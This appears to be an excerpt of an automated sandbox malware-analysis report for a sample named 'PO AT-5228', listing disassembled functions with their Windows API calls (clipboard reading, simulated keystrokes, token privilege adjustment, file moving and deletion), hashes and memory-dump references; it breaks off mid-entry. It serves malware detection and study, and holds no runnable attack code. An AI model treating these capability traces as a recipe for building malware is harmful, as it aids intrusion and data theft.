Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: fe86cba0af0f8ea290159ab7f5330f14216cfb207450ddaa5e96cf2a587d6dcc
Instruction ID: bf6cb6f73d6462de6bc377ff071e410f80dc99fca89a679ded6367586e056016
Opcode Fuzzy Hash: fe86cba0af0f8ea290159ab7f5330f14216cfb207450ddaa5e96cf2a587d6dcc
Instruction Fuzzy Hash: E3210A70518701CFDB24DF68C444B2ABBE1FF84304F1589A9E9AA47361D771E845CF52

Function 00B8AF61 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 00B8AFC0

Part of subcall function 00B87BDA: __getptd_noexit.LIBCMT ref: 00B87BDA

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle
String ID:
API String ID: 1144279405-0
Opcode ID: 0912a425f47b47eddfebc044e172a030f72b09f710aa1ea074f61d549a20c968
Instruction ID: 147134143d6a900e466ccad5795befe01f53beea2dd9ab71c54b641870366a60
Opcode Fuzzy Hash: 0912a425f47b47eddfebc044e172a030f72b09f710aa1ea074f61d549a20c968
Instruction Fuzzy Hash: E0116D728456009FD7127FB49842B5D7BE1AF41336F2642D0E4345B1F2DBB48941DBA1

Function 00B6C2E0 Relevance: 1.6, APIs: 1, Instructions: 51fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00BFDC00,00000000,?,00B6464E,00BFDC00,00010000,00000000,00000000,00000000,00000000), ref: 00B6C337

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: ced632bc9460a462cc144bf76db2f137b5352dc9265c41f8f2043037fc5a4fb0
Instruction ID: f2ba87e30671fe7c4131147d95286c93a5221d05e5bfdf008bb0a26b3f82c2f4
Opcode Fuzzy Hash: ced632bc9460a462cc144bf76db2f137b5352dc9265c41f8f2043037fc5a4fb0
Instruction Fuzzy Hash: 80111531200B459FD720CE5AC880F6ABBE9EF55754F14C45EE9EA8AA50C7B9EC44CB60

Function 00B639DB Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e908df7db2011151d19b897d4a4948494f90a1a3426dd436a38c65c5f4b6a17e
Instruction ID: 7e85002a20a855e39b4c285449fd577056d890293370cc8d126557772e20b416
Opcode Fuzzy Hash: e908df7db2011151d19b897d4a4948494f90a1a3426dd436a38c65c5f4b6a17e
Instruction Fuzzy Hash: 79013671505109AECF05EFA4C8918EEBFF4EF21344F1080A6B565971A5EB309A49DF60

Function 00B82AAE Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00B82AED

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: bc45264666995bc420467f0c596508f2144717a576f66f74da597b39c57560bd
Instruction ID: 546a3315dc3cfd79e5166f7681227a87a74065be5d0555a2a9eb73fc3a3184e0
Opcode Fuzzy Hash: bc45264666995bc420467f0c596508f2144717a576f66f74da597b39c57560bd
Instruction Fuzzy Hash: 88F06D31900605ABDF2ABF648C0679F3BE5BF00725F1584A5F8149B1B1DB78CA52EB51

Function 00B64252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,00B639FE,?,00000001), ref: 00B64286

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: be1c07a95b3b7405024d9af5ceebbdc525055d4896bf6fb16e7ac0e6881116e6
Instruction ID: 3e39effb51a73849e8da12e4b7496fa546652ccc9a0a6f1ba65549f21809fdf1
Opcode Fuzzy Hash: be1c07a95b3b7405024d9af5ceebbdc525055d4896bf6fb16e7ac0e6881116e6
Instruction Fuzzy Hash: 1BF015B1515B02CFCB349F64D8A0856BBE4FF143253348ABEF1D686620C7769844DF50

Function 00B640A7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00B640C6

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 0c88a3b5f07e30303f068444f3df4d024c8662584345642ffac038440f3339c4
Instruction ID: d8d7264ce119da7e18f34b60511ff26ad290074f360dc4cd7628c56e5ebfda1f
Opcode Fuzzy Hash: 0c88a3b5f07e30303f068444f3df4d024c8662584345642ffac038440f3339c4
Instruction Fuzzy Hash: A4E0C2366002245BC711A698CC86FFA77EDDF886A0F0901B5F909EB254DEA4AD819691

Function 00BABCF4 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00BABD16

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 3cca4198d2bc13ecada8dba30311a83a0df564d107d747b73ddd6f796e1577fd
Instruction ID: 5e9cee0e25a9e01ef3599be8d289360b04516a1ceec96abc5acd865682d2fc9b
Opcode Fuzzy Hash: 3cca4198d2bc13ecada8dba30311a83a0df564d107d747b73ddd6f796e1577fd
Instruction Fuzzy Hash: DDE092B0108B449BDB348A24D800BE373E0EB06305F00085DF2EB83242EB627841C759

Function 00B64798 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00BD40EA,00000000,00000000,00000000), ref: 00B647A9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e836c7a63c1d4fc4d846019e967498f6e20969226406ce5092c727887720be7a
Instruction ID: e90ac8bb424743feb428c53adefcf76b64a80982e56079a347ea849628c5d1d2
Opcode Fuzzy Hash: e836c7a63c1d4fc4d846019e967498f6e20969226406ce5092c727887720be7a
Instruction Fuzzy Hash: 75D0C974640208BFEB04CB91DC86F9A7BBCEB04718F600194F600AA2D0D6F2BE408B55

Function 0195F960 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4), ref: 0195F971

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: d2169cc1755888a4df458d8d6310cfec26cde84963550e3580b6b67e7512072f
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 6FE0E67494010EEFDB00EFB4D54969E7FB4EF04301F100261FD05E2281D6309D508A62

Non-executed Functions

Function 00BCF7FF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 630windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B7B35F

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 00BCF87D
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00BCF8DC
GetWindowLongW.USER32(?,000000F0), ref: 00BCF919
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00BCF940
SendMessageW.USER32 ref: 00BCF966
_wcsncpy.LIBCMT ref: 00BCF9D2
GetKeyState.USER32(00000011), ref: 00BCF9F3
GetKeyState.USER32(00000009), ref: 00BCFA00
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00BCFA16
GetKeyState.USER32(00000010), ref: 00BCFA20
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00BCFA4F
SendMessageW.USER32 ref: 00BCFA72
SendMessageW.USER32(?,00001030,?,00BCE059), ref: 00BCFB6F
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 00BCFB85
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00BCFB96
SetCapture.USER32(?), ref: 00BCFB9F
ClientToScreen.USER32(?,?), ref: 00BCFC03
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00BCFC0F
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 00BCFC29
ReleaseCapture.USER32 ref: 00BCFC34
GetCursorPos.USER32(?), ref: 00BCFC69
ScreenToClient.USER32(?,?), ref: 00BCFC76
SendMessageW.USER32(?,00001012,00000000,?), ref: 00BCFCD8
SendMessageW.USER32 ref: 00BCFD02
SendMessageW.USER32(?,00001111,00000000,?), ref: 00BCFD41
SendMessageW.USER32 ref: 00BCFD6C
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00BCFD84
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00BCFD8F
GetCursorPos.USER32(?), ref: 00BCFDB0
ScreenToClient.USER32(?,?), ref: 00BCFDBD
GetParent.USER32(?), ref: 00BCFDD9
SendMessageW.USER32(?,00001012,00000000,?), ref: 00BCFE3F
SendMessageW.USER32 ref: 00BCFE6F
ClientToScreen.USER32(?,?), ref: 00BCFEC5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00BCFEF1
SendMessageW.USER32(?,00001111,00000000,?), ref: 00BCFF19
SendMessageW.USER32 ref: 00BCFF3C
ClientToScreen.USER32(?,?), ref: 00BCFF86
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00BCFFB6
GetWindowLongW.USER32(?,000000F0), ref: 00BD004B

Strings

@GUI_DRAGID, xrefs: 00BCFBCC
F, xrefs: 00BCFF42

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 2516578528-4164748364
Opcode ID: 9fb2cbff531c5bc148485ae3d691ac68699eaaeac005323b61e0635ea3f648f4
Instruction ID: a4f6a18a383b61ddc13dce76f611df4590d486bcae97abb683c853cc668869ba
Opcode Fuzzy Hash: 9fb2cbff531c5bc148485ae3d691ac68699eaaeac005323b61e0635ea3f648f4
Instruction Fuzzy Hash: AC329874604246EFDB20CF24C884FAABBE6FB49354F1806AEFA95872A1C771DC05CB51

Function 00BCAACE Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00BCB1CD

Strings

%d/%02d/%02d, xrefs: 00BCAEFC

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: 0800842ba406c56e348d977171c00c1487d0a6df1bad51614ffbe123f8956d9e
Instruction ID: 49033d2accf0f6c3398f3b80474a12eecda2c30830dd994cf35c4d609d02e825
Opcode Fuzzy Hash: 0800842ba406c56e348d977171c00c1487d0a6df1bad51614ffbe123f8956d9e
Instruction Fuzzy Hash: DF12BC71600248AFEB259F64CC8AFAE7BF8EF45714F1441ADF919EB290DBB08941CB51

Function 00B7EB42 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000), ref: 00B7EB4A
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00BD3AEA
IsIconic.USER32(000000FF), ref: 00BD3AF3
ShowWindow.USER32(000000FF,00000009), ref: 00BD3B00
SetForegroundWindow.USER32(000000FF), ref: 00BD3B0A
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00BD3B20
GetCurrentThreadId.KERNEL32 ref: 00BD3B27
GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00BD3B33
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00BD3B44
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00BD3B4C
AttachThreadInput.USER32(00000000,?,00000001), ref: 00BD3B54
SetForegroundWindow.USER32(000000FF), ref: 00BD3B57
MapVirtualKeyW.USER32(00000012,00000000), ref: 00BD3B6C
keybd_event.USER32(00000012,00000000), ref: 00BD3B77
MapVirtualKeyW.USER32(00000012,00000000), ref: 00BD3B81
keybd_event.USER32(00000012,00000000), ref: 00BD3B86
MapVirtualKeyW.USER32(00000012,00000000), ref: 00BD3B8F
keybd_event.USER32(00000012,00000000), ref: 00BD3B94
MapVirtualKeyW.USER32(00000012,00000000), ref: 00BD3B9E
keybd_event.USER32(00000012,00000000), ref: 00BD3BA3
SetForegroundWindow.USER32(000000FF), ref: 00BD3BA6
AttachThreadInput.USER32(000000FF,?,00000000), ref: 00BD3BCD

Strings

Shell_TrayWnd, xrefs: 00BD3AE5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: a93c22246e27ecf47a7267f26ba4dbce8f924c8bdd118ffbc04d97914b45bc65
Instruction ID: 7d8a0c94841165705e52374f6205162c9bb3579fcac00390b7e9687ead8619bb
Opcode Fuzzy Hash: a93c22246e27ecf47a7267f26ba4dbce8f924c8bdd118ffbc04d97914b45bc65
Instruction Fuzzy Hash: 02318371A403587FEB205B658C89F7F7EACEB44B50F104066FA05EB2D1DAF15D00AAA1

Function 00B9ACC5 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 00B9B134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B9B180
Part of subcall function 00B9B134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B9B1AD
Part of subcall function 00B9B134: GetLastError.KERNEL32 ref: 00B9B1BA

_memset.LIBCMT ref: 00B9AD08
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00B9AD5A
CloseHandle.KERNEL32(?), ref: 00B9AD6B
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00B9AD82
GetProcessWindowStation.USER32 ref: 00B9AD9B
SetProcessWindowStation.USER32(00000000), ref: 00B9ADA5
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00B9ADBF

Part of subcall function 00B9AB84: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B9ACC0), ref: 00B9AB99
Part of subcall function 00B9AB84: CloseHandle.KERNEL32(?,?,00B9ACC0), ref: 00B9ABAB

Strings

winsta0, xrefs: 00B9AD7D
default, xrefs: 00B9ADBA
, xrefs: 00B9AD17

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 02cba09199fdd5b1fa30bfffb8070736969a3b1f4d393a116b1045ff821d800f
Instruction ID: a3dad2f4c8354905c0269fe348cad7c1b34152a8d9444713054c5c1fee629e20
Opcode Fuzzy Hash: 02cba09199fdd5b1fa30bfffb8070736969a3b1f4d393a116b1045ff821d800f
Instruction Fuzzy Hash: AB81AE71900249AFDF11DFA4DC85AEEBBB9FF04304F2441A9F814A7161DB718E54DBA1

Function 00BA60DD Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 174filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00BA5FA6,?), ref: 00BA6ED8

Part of subcall function 00BA6EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00BA5FA6,?), ref: 00BA6EF1

Part of subcall function 00BA725E: __wsplitpath.LIBCMT ref: 00BA727B
Part of subcall function 00BA725E: __wsplitpath.LIBCMT ref: 00BA728E

Part of subcall function 00BA72CB: GetFileAttributesW.KERNEL32(?,00BA6019), ref: 00BA72CC

_wcscat.LIBCMT ref: 00BA6149
_wcscat.LIBCMT ref: 00BA6167
__wsplitpath.LIBCMT ref: 00BA618E
FindFirstFileW.KERNEL32(?,?), ref: 00BA61A4
_wcscpy.LIBCMT ref: 00BA6209
_wcscat.LIBCMT ref: 00BA621C
_wcscat.LIBCMT ref: 00BA622F
lstrcmpiW.KERNEL32(?,?), ref: 00BA625D
DeleteFileW.KERNEL32(?), ref: 00BA626E
MoveFileW.KERNEL32(?,?), ref: 00BA6289
MoveFileW.KERNEL32(?,?), ref: 00BA6298
CopyFileW.KERNEL32(?,?,00000000), ref: 00BA62AD
DeleteFileW.KERNEL32(?), ref: 00BA62BE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00BA62E1
FindClose.KERNEL32(00000000), ref: 00BA62FD
FindClose.KERNEL32(00000000), ref: 00BA630B

Strings

\*.*, xrefs: 00BA6138, 00BA6147, 00BA6165

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseDeleteFullMoveNamePath$AttributesCopyFirstNext_wcscpylstrcmpi
String ID: \*.*
API String ID: 1917200108-1173974218
Opcode ID: a5511be55b630da0a7453cba63871d19c2acd932e1d4b6c9fe4fd7c551dab842
Instruction ID: 95af64256169a5a7254ec29deeab4ae536d8d91651ab9a300ad389a20c76143c
Opcode Fuzzy Hash: a5511be55b630da0a7453cba63871d19c2acd932e1d4b6c9fe4fd7c551dab842
Instruction Fuzzy Hash: 5F5100B280C25C6ACB21EB95CC84EEB77FCAF05300F0905E6E545E3141DE769B498F94

Function 00BB6B0C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00BFDC00), ref: 00BB6B36
IsClipboardFormatAvailable.USER32(0000000D), ref: 00BB6B44
GetClipboardData.USER32(0000000D), ref: 00BB6B4C
CloseClipboard.USER32 ref: 00BB6B58
GlobalLock.KERNEL32(00000000), ref: 00BB6B74
CloseClipboard.USER32 ref: 00BB6B7E
GlobalUnlock.KERNEL32(00000000), ref: 00BB6B93
IsClipboardFormatAvailable.USER32(00000001), ref: 00BB6BA0
GetClipboardData.USER32(00000001), ref: 00BB6BA8
GlobalLock.KERNEL32(00000000), ref: 00BB6BB5
GlobalUnlock.KERNEL32(00000000), ref: 00BB6BE9
CloseClipboard.USER32 ref: 00BB6CF6

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 6173a1b300d9987a911fdf078f36c7e73fa509ec01540e840091e83b5489383a
Instruction ID: 5fcafcf4b11c143b76800dff9b7d35d70b315751a31afc0a252d2b6f49ff1f2d
